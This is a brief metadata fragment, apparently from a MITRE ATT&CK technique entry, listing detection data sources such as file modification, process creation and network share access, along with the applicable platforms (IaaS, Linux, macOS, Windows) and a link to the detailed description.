Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre